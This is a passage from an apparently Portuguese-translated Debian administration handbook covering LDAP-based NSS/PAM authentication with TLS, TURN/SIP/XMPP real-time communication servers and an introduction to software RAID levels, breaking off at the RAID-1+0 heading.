FERRAMENTA Navegando em diretório LDAP

O comando jxplorer (do pacote de mesmo nome) é uma ferramenta gráfica que permite navegar e editar um banco de dados LDAP. Ele é uma ferramenta interessante que provê ao administrador uma boa visualização da estrutura hierárquica dos dados LDAP.

Note também o uso da opção -c do comando ldapadd; essa opção faz com que o processamento não pare em caso de erro. O uso dessa opção é necessário porque a conversão do /etc/services geralmente gera alguns erros que podem ser ignorados com segurança.

11.7.3. Gerenciando Contas com LDAP

Agora o banco de dados LDAP contém algumas informações úteis, chegou a hora de fazer uso desses dados. Essa sessão foca em como configurar um sistema Linux para que os vários sistemas de diretórios usem o banco de dados LDAP.

11.7.3.1. Configurando o NSS

O sistema NSS (Name Service Switch, see sidebar APROFUNDANDO NSS e banco de dados do sistema) é um sistema modular desenvolvido para definir ou obter informações para o sistema de diretórios. Para usar o LDAP como fonte de dados para o NSS requer a instalação do pacote libnss-ldap. Sua instalação faz algumas perguntas; as respostas estão resumidas em Tabela 11.2.

Tabela 11.2. Configuring the libnss-ldap package:

Questão | Resposta
LDAP server URI (Uniform Resource Identifier) | ldapi://ldap.falcot.com
Nome distinto da base de pesquisa | dc=falcot,dc=com
Versão LDAP para usar | 3
Conta LDAP para root | cn=admin,dc=falcot,dc=com
A senha da conta de root do LDAP | a senha administrativa
Permitir que a conta administrativa do LDAP se comporte como root local? | sim
O banco de dados LDAP precisa de um login? | não

O arquivo /etc/nsswitch.conf precisa então ser modificado para configurar o NSS para usar o recém-instalado módulo ldap. Você pode usar o exemplo fornecido em /usr/share/doc/libnss-ldap/examples/nsswitch.ldap ou editar sua configuração existente.

Exemplo 11.23. O arquivo /etc/nsswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $ # # An example file that could be copied over to /etc/nsswitch.conf; it # uses LDAP conjunction with files. # # "hosts:" and "services:" in this file are used only if the # /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports. # the following lines obviate the "+" entry in /etc/passwd and /etc/group. passwd: files ldap shadow: files ldap group: files ldap # consult DNS first, we will need it to resolve the LDAP host. (If we # can't resolve it, we're in infinite recursion, because libldap calls # gethostbyname(). Careful!) hosts: dns ldap # LDAP is nominally authoritative for the following maps. services: ldap [NOTFOUND=return] files networks: ldap [NOTFOUND=return] files protocols: ldap [NOTFOUND=return] files rpc: ldap [NOTFOUND=return] files ethers: ldap [NOTFOUND=return] files # no support for netmasks, bootparams, publickey yet. netmasks: files bootparams: files publickey: files automount: files # I'm pretty sure nsswitch.conf is consulted directly by sendmail, # here, so we can't do much here. Instead, use bbense's LDAP # rules ofr sendmail. aliases: files sendmailvars: files # Note: there is no support for netgroups on Solaris (yet) netgroup: ldap [NOTFOUND=return] files

O módulo ldap usualmente é inserido antes dos outros, e ele irá então ser consultado primeiro. A notável exceção é o serviço hosts já que contactar o servidor LDAP requer consultar o DNS primeiro (para resolver ldap.falcot.com). Sem essa exceção, uma consulta de hostname iria recair ao servidor LDAP; isso iria disparar uma resolução de nome ao servidor LDAP, e cairia em um loop infinito.

Se o servidor LDAP deve ser considerado autoritário (e os arquivos locais usados pelo módulo files desconsiderados), serviços podem ser configurados com a seguinte sintaxe:

serviço: ldap [NOTFOUND=return] files.

Se a entrada requisitada não existir no banco de dados LDAP, a consulta irá retornar uma resposta “não existe” mesmo que o recurso exista em um dos arquivos locais; esses arquivos locais irão apenas ser usados quando o serviço LDAP estiver parado.

11.7.3.2. Configurando o PAM

Essa seção descreve a configuração do PAM (see sidebar ATRÁS DAS CENAS /etc/environment e /etc/default/locale) que irá permitir as aplicações realizarem as autenticações necessárias no banco de dados LDAP.

ATENÇÃO Autenticação quebrada

Alterar a configuração padrão do PAM usada por vários programas é uma operação delicada. Um erro pode levar a erros de autenticação, o que pode impedir um início de sessão. Manter um shell root aberto é então uma boa precaução. Se acontecerem erros de configuração, eles podem então ser consertados e os serviços reiniciados com um mínimo de esforço.

O módulo LDAP para PAM é provido pelo pacote libpam-ldap. A instalação deste pacote realiza umas poucas perguntas muito parecidas "aquelas no pacote libnss-ldap; alguns parâmetros de configuração (como o URI do servidor LDAP) são inclusive compartilhados com o pacote libnss-ldap. As respostas são resumidas emTabela 11.3.

Tabela 11.3. Configuração do libpam-ldap

Questão | Resposta
Permitir a conta administrativa do LDAP se comportar como o root local? | Sim. Isto permite usar o comando usual passwd para modificar as senhas armazenadas no banco de dados LDAP.
O banco de dados LDAP necessita estar logado? | não
LDAP account for root: | cn=admin,dc=falcot,dc=com
LDAP administrative password: | A senha do banco de dados administrativo LDAP
Local encryption algorithm to use for passwords: | crypt
PAM profiles to enable: | LDAP Authentication is among the enabled profiles

A instalação do libpam-ldap automaticamente adapta a configuração padrão do PAM definida nos arquivos /etc/pam.d/common-auth, /etc/pam.d/common-password e /etc/pam.d/common-account. Esse mecanismo usa a ferramenta dedicada pam-auth-update (fornecida pelo pacote libpam-runtime). Essa ferramenta pode também ser rodada pelo administrador caso ele queira habilitar ou desabilitar módulos PAM.

11.7.3.3. Protegendo a Troca de Dados do LDAP

Por padrão, o protocolo LDAP transita pela rede em texto puro; isso inclui as senhas (criptografadas). Como as senhas criptografadas podem ser extraídas da rede, elas pode ficar vulneráveis a ataques do tipo dicionário. Isso pode ser evitado usando um camada de criptografia extra; habilitar essa camada é o tópico desta seção.

11.7.3.3.1. Configurando o Servidor

O primeiro passo é criar um par de chaves (contendo uma chave pública e uma chave privada) para o servidor LDAP. Os(As) administradores(as) da Falcot usaram novamente easy-rsa para gerá-las (veja Seção 10.2.2, “Infraestrutura de Chaves Públicas: easy-rsa”). Ao executar ./easyrsa build-server-full ldap.falcot.com nopass você será perguntado(a) sobre um “common name” (nome comum). A resposta para a pergunta deve ser um nome de máquina completamente qualificado para o servidor LDAP; em nosso caso, ldap.falcot.com.

Esse comando cria um certificado no arquivo pki/issued/ldap.falcot.com.crt; a chave privada correspondente é armazenada em pki/private/ldap.falcot.com.key.

Agora essas chaves tem que ser instaladas em seu local padrão, e nós temos que garantir que o arquivo privado pode ser lido pelo servidor LDAP, o qual roda sob a identidade do usuário openldap:

# adduser openldap ssl-cert Adding user `openldap' to group `ssl-cert' ... Adding user openldap to group ssl-cert Done. # mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key # chown root.ssl-cert /etc/ssl/private/ldap.falcot.com.key # chmod 0640 /etc/ssl/private/ldap.falcot.com.key # mv pki/issued/ldap.falcot.com.crt /etc/ssl/certs/ldap.falcot.com.pem # chown root.root /etc/ssl/certs/ldap.falcot.com.pem # chmod 0644 /etc/ssl/certs/ldap.falcot.com.pem

O daemon slapd também precisa ser informado para usar essas chaves para criptografia. A configuração do servidor LDAP é gerenciada dinamicamente: a configuração pode ser atualizada através de operações normais do LDAP no objeto hierárquico cn=config, e o servidor atualiza o /etc/ldap/slapd.d em tempo real para fazer com que a configuração seja persistente. ldapmodify é, assim, a ferramenta certa para atualizar a configuração:

Exemplo 11.24. Configurando slapd para criptografia

# cat >ssl.ldif <<END dn: cn=config changetype: modify add: olcTLSCertificateKeyFile olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key - add: olcTLSCertificateFile olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem END # ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "cn=config" # systemctl restart slapd.service # ldapsearch -Y EXTERNAL -H ldapi:/// -b cn=config -s base | grep TLS SASL/EXTERNAL authentication started SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth SASL SSF: 0 olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem olcTLSCertificateKeyFile: /etc/ssl/certs/ldap.falcot.com.key

FERRAMENTA ldapvi para editar um diretório LDAP

With ldapvi, you can display an LDIF output of any part of the LDAP directory, make some changes in the text editor, and let the tool do the corresponding LDAP operations for you.

Esta é, portanto, uma maneira coveniente de atualizar a configuração do servidor LDAP, simplesmente editando a hierarquia cn=config.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

O último passo para habilitar a criptografia envolve alterar a variável SLAPD_SERVICES no arquivo /etc/default/slapd. Nós vamos torná-lo seguro e desabilitar o LDAP inseguro de uma vez só.

Exemplo 11.25. O nome /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If # empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to # /etc/ldap/slapd.conf). SLAPD_CONF= # System account to run the slapd server under. If empty the server # will run as root. SLAPD_USER="openldap" # System group to run the slapd server under. If empty the server will # run in the primary group of its user. SLAPD_GROUP="openldap" # Path to the pid file of the slapd server. If not set the init.d script # will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.d by # default) SLAPD_PIDFILE= # slapd normally serves ldap only on all TCP-ports 389. slapd can also # service requests on TCP-port 636 (ldaps) and requests via unix # sockets. # Example usage: # SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///" SLAPD_SERVICES="ldaps:/// ldapi:///" # If SLAPD_NO_START is set, the init script will not start or restart # slapd (but stop will still work). Uncomment this if you are # starting slapd via some other means or if you don't want slapd normally # started at boot. #SLAPD_NO_START=1 # If SLAPD_SENTINEL_FILE is set to path to a file and that file exists, # the init script will not start or restart slapd (but stop will still # work). Use this for temporarily disabling startup of slapd (when doing # maintenance, for example, or through a configuration management system) # when you don't want to edit a configuration file. SLAPD_SENTINEL_FILE=/etc/ldap/noslapd # For Kerberos authentication (via SASL), slapd by default uses the system # keytab file (/etc/krb5.keytab). To use a different keytab file, # uncomment this line and change the path. #export KRB5_KTNAME=/etc/krb5.keytab # Additional options to pass to slapd SLAPD_OPTIONS=""

11.7.3.3.2. Configurando o Cliente

No lado do cliente, a configuração para os módulos libpam-ldap e libnss-ldap precisa ser modificada para usar a URI ldaps://.

LDAP clients also need to be able to authenticate the server. In an X.509 public key infrastructure, public certificates are signed by the key of a certificate authority (CA). With easy-rsa, the Falcot administrators have created their own CA and they now need to configure the system to trust the signatures of Falcot's CA. This can be done by putting the CA certificate in /usr/local/share/ca-certificates and running update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt # update-ca-certificates Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done. Running hooks in /etc/ca-certificates/update.d... Adding debian:falcot.pem done. done.

Por último, mas não menos importante, a URI padrão do LDAP e o DN base padrão usado por várias ferramentas de linha de comando podem ser modificados em /etc/ldap/ldap.conf. Isso irá evitar, consideravelmente, digitação.

Exemplo 11.26. O arquivo /etc/ldap/ldap.conf

# # LDAP Defaults # # See ldap.conf(5) for details # This file should be world readable but not world writable. #BASE dc=example,dc=com #URI ldap://ldap.example.com ldap://ldap-provider.example.com:666 #SIZELIMIT 12 #TIMELIMIT 15 #DEREF never # TLS certificates (needed for GnuTLS) TLS_CACERT /etc/ssl/certs/ca-certificates.crt

11.8. Serviços de Comunicação em Tempo Real

Serviços de Comunicação em Tempo Real (Real-Time Communication - RTC) incluem voz, vídeo/webcam, mensagem instantânea (IM) e compartilhamento de área de trabalho. Esse capítulo oferece uma breve introdução a três dos serviços necessários para operar um RTC, incluindo os servidores TURN, SIP e XMPP. Detalhes abrangentes de como planejar, instalar e gerenciar esses serviços estão disponíveis no Guia de Início Rápido para Comunicações em Tempo Real, que inclui exemplos específicos para o Debian.

→ https://rtcquickstart.org

Tanto o SIP quanto o XMPP podem fornecer a mesma funcionalidade. O SIP é um pouco mais conhecido para voz e vídeo, enquanto que o XMPP é tradicionalmente considerado como um protocolo IM. Na verdade, os dois podem ser usados para qualquer um desses propósitos. Para maximizar as opções de conectividade, é recomendado rodar os dois em paralelo.

Estes serviços contam com certificados X.509 para fins de autenticação e confidencialidade. Veja Seção 10.2, “Certificados X.509” para mais informações.

11.8.1. Configurações de DNS para serviços RTC

RTC services require DNS SRV and NAPTR records. A sample configuration that can be placed in the zone file for falcot.com (see also Exemplo 10.13, “Trecho do /etc/bind/db.falcot.com”:

; the server where everything will run server1 IN A 198.51.100.19 server1 IN AAAA 2001:DB8:1000:2000::19 ; IPv4 only for TURN for now, some clients are buggy with IPv6 turn-server IN A 198.51.100.19 ; IPv4 and IPv6 addresses for SIP sip-proxy IN A 198.51.100.19 sip-proxy IN AAAA 2001:DB8:1000:2000::19 ; IPv4 and IPv6 addresses for XMPP xmpp-gw IN A 198.51.100.19 xmpp-gw IN AAAA 2001:DB8:1000:2000::19 ; DNS SRV and NAPTR for STUN / TURN _stun._udp IN SRV 0 1 3467 turn-server.falcot.com. _turn._udp IN SRV 0 1 3467 turn-server.falcot.com. @ IN NAPTR 10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com. ; DNS SRV and NAPTR records for SIP _sips._tcp IN SRV 0 1 5061 sip-proxy.falcot.com. @ IN NAPTR 10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com. ; DNS SRV records for XMPP Server and Client modes: _xmpp-client._tcp IN SRV 5 0 5222 xmpp-gw.falcot.com. _xmpp-server._tcp IN SRV 5 0 5269 xmpp-gw.falcot.com.

11.8.2. Servidor TURN

TURN é um serviço que ajuda clientes atrás de roteadores NAT e firewalls a descobrir a maneira mais eficiente de comunicar com outros clientes e para retransmitir o fluxo de mídia caso nenhum caminho de mídia direto possa ser encontrado. É altamente recomendado que o servidor TURN seja instalado antes de outros serviços RTC serem oferecidos para os usuários finais.

TURN e o protocolo ICE relacionado são padrões abertos. Para se beneficiar desses protocolos, maximizar a conectividade e minimizar a frustração do usuário, é importante garantir que todos os softwares clientes tenham suporte a ICE e TURN.

Para que o algorítimo ICE funcione efetivamente, o servidor tem que ter dois endereços IPv4 públicos.

Instale o pacote coturn e edite o arquivo de configuração /etc/turnserver.conf. Por padrão, um banco de dados SQLite é configurado em /var/db/turndb para definições das contas de usuários(as), mas pode-se configurar PostgreSQL, MySQL ou Redis se preferir. O mais importante a se fazer é inserir o endereço de IP do servidor.

The server can be started running turnserver from the coturn package. We want the server to be an automatically started system service. This is the default behavior using systemd. Only when using the older SysVinit you have to edit the /etc/default/coturn file like this:

# # Uncomment it if you want to have the turnserver running as # an automatic system service daemon # TURNSERVER_ENABLED=1

Por padrão, o servidor TURN usa acesso anônimo. Temos que adicionar os(as) usuários(as) que queremos usar:

# turnadmin -a -u roland -p senha_secreta -r falcot.com # turnadmin -A -u admin -p senha_secreta

Usamos o argumento -a para adicionar um(a) usuário(a) normal e -A para adicionar um(a) usuário(a) administrador(a).

11.8.3. Servidor Proxy SIP

Um servidor proxy SIP gerencia entrada e saída de conexões SIP entre outras organizações, provedores de trunking SIP, PBXes SIP tais como Asterisk, telefones SIP, softphones baseados em SIP e aplicações WebRTC.

É altamente recomendado instalar e configurar o proxy SIP antes de tentar uma configuração do PBX SIP. O proxy SIP normaliza muito do tráfego que atinge o PBX e fornece uma melhor conectividade e resiliência.

11.8.3.1. Instalar o proxy SIP

Install the kamailio package and the package for the database backend. The Falcot administrators chose MySQL, so they install kamailio-mysql-modules and mariadb-server. /etc/kamailio/kamctlrc is the configuration file for the control tools kamctl and kamdbctl. You need to edit and set the SIP_DOMAIN to your SIP service domain and set the DBENGINE to MySQL, another database backend can be used.

[...] ## your SIP domain SIP_DOMAIN=sip.falcot.com ## chrooted directory # CHROOT_DIR="/path/to/chrooted/directory" ## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE # by default none is loaded # # If you want to setup a database with kamdbctl, you must at least specify # this parameter. DBENGINE=MYSQL [...]

Agora vamos nos concentrar no arquivo de configuração /etc/kamailio/kamailio.cfg. A Falcot precisa de autenticação do usuário e localização persistente do usuário, então eles(elas) adicionaram as seguintes diretivas #!define no topo do arquivo:

#!KAMAILIO # # Kamailio (OpenSER) SIP Server v5.2 - default configuration script # - web: https://www.kamailio.org # - git: https://github.com/kamailio/kamailio #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB [...]

Kamailio needs a database structure that we can create running kamdbctl create as root. Finally, we can add some users with kamctl.

# kamdbctl create [...] # kamctl add roland secret_password

Once everything is properly configured you can start or restart the service with systemctl restart kamailio, you can connect with a SIP client providing the IP address and the port (5090 is the default port). The users have the following id: roland@sip.falcot.com, and they can login using a client (see Seção 13.9, “Softwares de Comunicação em Tempo Real”).

11.8.4. Servidor XMPP

Um servidor XMPP gerencia a conectividade entre usuários XMPP locais e usuários XMPP em outros domínios na internet pública.

VOCABULÁRIO XMPP ou Jabber?

O XMPP é, algumas vezes, referenciado como Jabber. Na verdade, Jabber é uma marca registrada e XMPP é o nome oficial do padrão.

prosody is a popular XMPP server that operates reliably on Debian servers.

11.8.4.1. Instalar o servidor XMPP

Instale o pacote prosody.

Reveja o arquivo de configuração /etc/prosody/prosody.cfg.lua. A coisa mais importante a fazer é inserir as JIDs dos usuários que tem permissão para gerenciar o servidor.

admins = { "joe@falcot.com" }

Um arquivo de configuração individual também é necessário para cada domínio. Copie o exemplo de /etc/prosody/conf.avail/example.com.cfg.lua e use-o como ponto de partida. Aqui está o falcot.com.cfg.lua:

VirtualHost "falcot.com" enabled = true ssl = { key = "/etc/ssl/private/falcot.com.key"; certificate = "/etc/ssl/certs/falcot.com.pem"; } -- Set up a MUC (multi-user chat) room server on conference.example.com: Component "conference.falcot.com" "muc"

Para habilitar o domínio, tem que existir um symlink de /etc/prosody/conf.d/. Crie-o dessa forma:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Reinicie o serviço para usar a nova configuração.

11.8.4.2. Gerenciando o servidor XMPP

Some management operations can be performed using the prosodyctl command line utility. For example, to add the administrator account specified in /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

Veja a documentação on-line do Prosody para mais detalhes sobre como customizar a configuração.

11.8.5. Rodando serviços na porta 443

Alguns administradores preferem rodar todos os serviços RTC na porta 443. Isso ajuda os usuários a se conectar a partir de localizações remotas, tais como hotéis e aeroportos, onde outras portas podem estar bloqueadas ou o tráfego de Internet é roteado através de servidores proxy HTTP.

Para usar essa estratégia, cada serviço (SIP, XMPP e TURN) precisa de um endereço IP diferente. Todos os serviços ainda podem estar na mesma máquina, já que o Linux tem suporte a múltiplos endereços IP em uma única máquina. O número de porta, 443, tem que ser especificado nos arquivos de configuração de cada processo e também nos registros DNS SRV.

11.8.6. Adicionando WebRTC

A Falcot que deixar os clientes fazerem chamadas telefônicas a partir do site web. Os administradores da Falcot também querem usar o WebRTC como parte de seu plano de resgate em um disastre, para que a equipe possa usar navegadores web em casa para iniciar uma sessão no sistema de telefonia da companhia e trabalhar normalmente em uma emergência.

NA PRÁTICA Experimente o WebRTC

If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.

→ https://sip5060.net/test-calls

O WebRTC é uma tecnologia de vem se desenvolvendo rapidamente e é essencial usar pacotes da distribuição teste (testing) . Outra opção é compilar o software.

O WebRTC usa uma API simples para fornecer navegadores e aplicativos móveis com RTC, é um software livre e está sendo desenvolvido pelo Google.

→ https://webrtc.org

A very flexible approach is using GStreamer's WebRTC implementation. It enables pipeline-based multimedia applications, which allows developing interesting and highly efficient applications. A good starting point is the following demo by Centricular, the main company that is developing it:

→ https://gitlab.freedesktop.org/gstreamer/gst-examples

Sites web clique-para-chamar mais avançados tipicamente usam scritps do lado do servidor para gerar o arquivo config.js dinamicamente. O código fonte DruCalldemonstra como fazer isso com PHP.

Esse capítulo mostrou apenas uma fração dos softwares de servidor disponíveis; contudo, a maioria dos serviços de rede comuns foram descritos. Agora é hora de um capítulo ainda mais técnico: nós iremos entrar mais detalhadamente ainda em alguns conceitos, descrevendo implementações massivas e virtualização.

Capítulo 12. Administração Avançada

Este capítulo retoma alguns aspectos já descritos, com uma perspectiva diferente: em vez de instalar em um único computador, vamos estudar a implantação de sistemas em massa; em vez de criar volumes RAID ou LVM no momento da instalação, vamos aprender a fazer tudo na mão para que mais tarde possamos rever nossas escolhas iniciais. Finalmente, vamos discutir as ferramentas de monitoramento e técnicas de virtualização. Como consequência, este capítulo é mais particularmente alvo de administradores profissionais e centra-se um pouco menos nos indivíduos responsáveis pela sua rede doméstica.

12.1. RAID e LVM

Capítulo 4, Instalação apresentou estas tecnologias do ponto de vista do instalador e como ele as integrou para fazer a sua implantação fácil desde o início. Após a instalação inicial, um administrador deve ser capaz de lidar com as necessidades de espaço de armazenamento em evolução, sem ter que recorrer a uma reinstalação cara. Devem, portanto, compreender as ferramentas necessárias para manipular volumes RAID e LVM.

RAID e LVM são duas técnicas para abstrair os volumes montados a partir de seus equivalentes físicos (reais unidades de disco rígido ou partições do mesmo), o primeiro garante a segurança e a disponibilidade dos dados em caso de falhas no hardware através da introdução de redundância, o último torna o gerenciamento de volumes mais flexível e independente do tamanho real nos discos. Em ambos os casos, o sistema acaba com novos volumes (partições, blocos), que podem ser usados para criar sistemas de arquivos ou espaço de troca, sem necessariamente ter eles mapeados em um disco físico. LVM e RAID vêm de origens bem diferentes, mas sua funcionalidade pode sobrepor-se um pouco, é por isso que eles são muitas vezes mencionados juntos.

PERSPECTIVE Btrfs combina LVM e RAID

Enquanto LVM e RAID são dois subsistemas do kernel ('núcleo') distintos que estão entre os dispositivos de bloco do disco e seus sistemas de arquivos, Btrfs é um sistema de arquivos, desenvolvido inicialmente pela Oracle, que pretende combinar os conjuntos de recursos de LVM e RAID e muito mais.

→ https://btrfs.wiki.kernel.org/

Entre as características marcantes estão a capacidade de tirar um instantâneo de uma árvore de diretórios em qualquer ponto no tempo. Este instantâneo inicialmente não utiliza nenhum espaço em disco, os dados só serão duplicados quando um dos arquivos copiados for modificado. O sistema de arquivos também lida com a compressão transparente de arquivos e somas de verificação (checksums) garantem a integridade de todos os dados armazenados.

Em ambos os casos RAID e LVM, o kernel fornece um arquivo de dispositivo de bloco semelhantes aos que correspondem a uma unidade de disco rígido ou partição. Quando um pedido ou uma outra parte do núcleo, requer o acesso a um bloco de um tal dispositivo, as rotas de subsistemas apropriadas do bloco são usadas para a camada física relevante. Dependendo da configuração, este bloco pode ser armazenado em um ou vários discos físicos e sua localização física pode não ser diretamente relacionada com a localização do bloco no dispositivo lógico.

12.1.1. RAID Por Software

RAID significa Redundant Array of Independent Disks - conjunto redundante de discos independentes. O objetivo deste sistema é evitar perda de dados e garantir sua disponibilidade em caso de falha do disco rígido. O princípio geral é bastante simples: os dados são armazenados em vários discos físicos em vez de apenas um, com um nível configurável de redundância. Dependendo desta quantidade de redundância, e mesmo no caso de uma falha de disco inesperado, dados podem ser reconstruídos sem perdas dos restantes discos.

CULTURA Independent or inexpensive?

O I da sigla RAID inicialmente significava inexpensive (barato), por que o RAID permitia um aumento drástico na segurança de dados sem precisar investir em discos de alta qualidade. Provavelmente, devido a questões de melhoria da imagem, o I é agora normalmente chamado de independent (independente), para não ficar com esta impressão de baixo custo.

O RAID pode ser implementado tanto por hardware dedicado (módulos RAID integrados em placas controladoras SCSI ou SATA) ou por abstração de software (o núcleo). Seja por hardware ou software, um sistema RAID com redundância suficiente pode, de forma transparente, continuar operacional quando um disco falha; as camadas superiores da pilha (aplicações) podem até manter o acesso aos dados apesar da falha. Claro que, esse “modo degradado” pode ter impacto na performance, e a redundância é reduzida, então uma falha profunda do disco pode levar a perda de dados. Na prática, entretanto, um irá se esforçar para apenas ficar nesse modo degradado o tempo que for necessário para que se possa substituir o disco falho. Uma vez que o novo disco seja colocado, o sistema RAID pode reconstruir os dados necessários e então retornar ao modo seguro. As aplicações não notarão nada, fora a potencial redução da velocidade de acesso, enquanto a array estiver no modo degradado ou durante a fase de reconstrução.

Quando o RAID é implementado por hardware, sua configuração geralmente acontece dentro da ferramenta de configuração da BIOS, e o núcleo irá considerar uma array RAID como um único disco, que irá funcionar como um disco físico padrão, embora o nome do dispositivo possa ser diferente (dependendo do driver).

Nós apenas focamos em RAID de software neste livro.

12.1.1.1. Diferentes Níveis de RAID

RAID não é na verdade um único sistema, mas vários sistemas identificados por seus níveis; os níveis diferem por sua disposição e quantidade de redundância que eles fornecem. Quanto mais redundante, mais à prova de falhas, uma vez que o sistema será capaz de continuar a trabalhar quando mais discos falharem. A contrapartida é que reduz o espaço utilizável para um dado conjunto de discos; visto de outra forma, mais discos serão necessários para armazenar a mesma quantidade de dados.

RAID Linear

Mesmo o que o subsistema de RAID do núcleo permita a criação de um “RAID linear”, isso não é um RAID propriamente, já que essa configuração não envolve qualquer redundância. O núcleo apenas agrega vários discos fim-a-fim e provê o volume agregado resultante como um disco virtual (um dispositivo de bloco). Essa é sua única função. Essa configuração raramente é usada por ela própria (veja mais adiante sobre as exceções), especialmente porque a falta de redundância significa que a falha de um disco faz com que todo o agregado, e portanto todos os dados, fiquem indisponíveis.

RAID-0

Esse nível também não provê nenhuma redundância, mas os discos não são simplesmente ligados pelo final um após o outro: eles são divididos em listras (stripes), e os blocos no dispositivo virtual são armazenados em listras (stripes) em discos físicos alternados. Em uma configuração de RAID-0 de dois discos, por exemplo, em blocos de número par do dispositivo virtual serão armazenados no primeiro disco físico, enquanto os blocos ímpares ficarão no segundo disco físico.

Esse sistema não tem por objetivo um aumento de credibilidade, já que (como em um caso linear) a disponibilidade de todos os dados é comprometida assim que um disco falhar, mas um aumento de desempenho: durante um acesso sequencial a grandes quantidades de dados contíguos, o núcleo será capaz de ler a partir dos dois discos (ou escrever neles) em paralelo, o que incrementa a taxa de transferência de dados. Os discos são inteiramente utilizados pelo dispositivo RAID, para que ele possam ter o mesmo tamanho sem prejuízo da performance.

O uso de RAID-0 está diminuindo, seu nicho está sendo ocupado pelo LVM (veremos mais adiante).

RAID-1

Esse nível, também conhecido como “espelhamento RAID”, é tanto o mais simples quanto a mais amplamente usada configuração. Em sua forma padrão, ele usa dois discos físicos de mesmo tamanho e fornece um volume lógico de mesmo tamanho mais uma vez. Os dados são armazenados identicamente nos dois discos, por isso o apelido “espelho”. Quando um disco falha, os dados ainda estão disponíveis no outro. Para dados realmente críticos, RAID-1 pode, é claro, ser configurado para mais de dois discos, com impacto direto na relação de custo de hardware versus espaço de carga disponível.

NOTA Discos e tamanhos de cluster

Se dois discos de tamanhos diferentes são criados em um espelho, o maior não será totalmente usado, pois ele irá conter os mesmos dados como o menor e nada mais. O espaço útil disponível fornecido por um volume RAID-1, portanto, corresponde ao tamanho do disco menor na matriz. Isso ainda vale para volumes RAID com um maior nível RAID, apesar de redundância é armazenada de forma diferente.

Por isso é importante, ao configurar arrays RAID (exceto RAID-0 "RAID linear"), só montar discos de tamanhos idênticos, ou muito perto, para evitar o desperdício de recursos.

NOTA Discos de reposição

Níveis RAID que incluem redundância permitem atribuir mais discos do que o necessário para uma array. Os discos extras são usados como reservas quando um dos principais discos falha. Por exemplo, em um espelho de dois discos e mais um reserva, se um dos dois primeiros discos falhar, o núcleo irá automaticamente (e imediatamente) reconstruir o espelho usando o disco reserva, para que a redundância continue garantida após o momento de reconstrução. Isso pode ser usado como outro tipo de salva guarda para dados críticos.

Alguém poderia ser perdoado por questionar como isso pode ser melhor do que simplesmente espelhar três discos como início. A vantagem da configuração de um “disco reserva” é que o disco reserva pode ser compartilhado entre vários volumes RAID. Por exemplo, é possível ter três volumes espelhados, com garantia de redundância mesmo no caso de falha de um disco, com apenas sete discos (três pares, mais um reserva compartilhado), ao invés dos nove discos que seriam necessários para três trigêmeos.

Esse nível de RAID, embora caro (já que apenas metade do espaço físico de armazenagem, na melhor das hipóteses, é útil), é amplamente usado na prática. Ele é simples de entender, e ele permite cópias de segurança (backups) bem simples: como os dois discos tem conteúdos idênticos, um deles pode ser temporariamente extraído, sem impacto no sistema em funcionamento. O desempenho de leitura geralmente é incrementado , já que o núcleo pode ler metade dos dados em cada disco, em paralelo, enquanto o desempenho de escrita não é muito severamente degradado. No caso de uma array RAID-1 de N discos, os dados continuam disponíveis mesmo com a falha do disco N-1.

CAUTION RAID is not Backup

RAID systems are not backup mechanisms. While RAID increases the redundancy - and therefore the availability of a system - and protects against disk failures, backups are done to protect data from being altered, deleted, getting corrupted, etc., and to be able to restore them if necessary. To demonstrate this: If you remove one or all files by accident, a RAID will mirror this change, but it will not provide the means to restore the file(s). So while there is clearly an overlap, they are not the same and should be used in conjunction with each other.

RAID-4

Esse nível de RAID, não amplamente usado, usa N discos para armazenar dados úteis, e um disco extra para armazenar informação redundante. Se esse disco falhar, o sistema pode reconstruir seu conteúdo a partir do outro N. Se um dos N discos de dados falhar, O N-1 remanescente combinado com o disco “paridade” contém informação suficiente para reconstruir os dados requeridos.

RAID-4 não é muito caro já que ele apenas envolve um incremento de um-em-N nos custos e não se tem impacto perceptível no desempenho de leitura, mas a escrita é mais devagar. Além disso, como uma escrita em qualquer um dos N discos também envolve a escrita no disco de paridade, esse último tem muito mais escritas que o anterior, e sua vida útil pode ser dramaticamente diminuída como consequência. Os dados na array RAID-4 só está segura até um disco falhar (dos N+1).

RAID-5

RAID-5 resolve o problema de assimetria do RAID-4: a paridade de blocos é distribuída por todos os N+1 discos, sendo que nenhum tem um papel particular.

A performance de leitura e escrita são idênticas ao RAID-4. Aqui novamente, o sistema continua funcional mesmo com a falha de um disco (do N+1), mas não mais.

RAID-6

RAID-6 pode ser considerado uma extensão do RAID-5, onde cada série de N blocos envolvem dois blocos redundantes, e cada série de N+2 blocos e distribuída sobre N+2 discos.

Esse nível de RAID é levemente mais caro que os dois anteriores, mas ele traz alguma segurança extra já que até dois drives (dos N+2) podem falhar sem comprometer a disponibilidade dos dados. A contraparte é que as operações de escrita agora envolvem escrever um bloco de dados e dois blocos de redundância, o que os torna ainda mais lento.

RAID-1+0

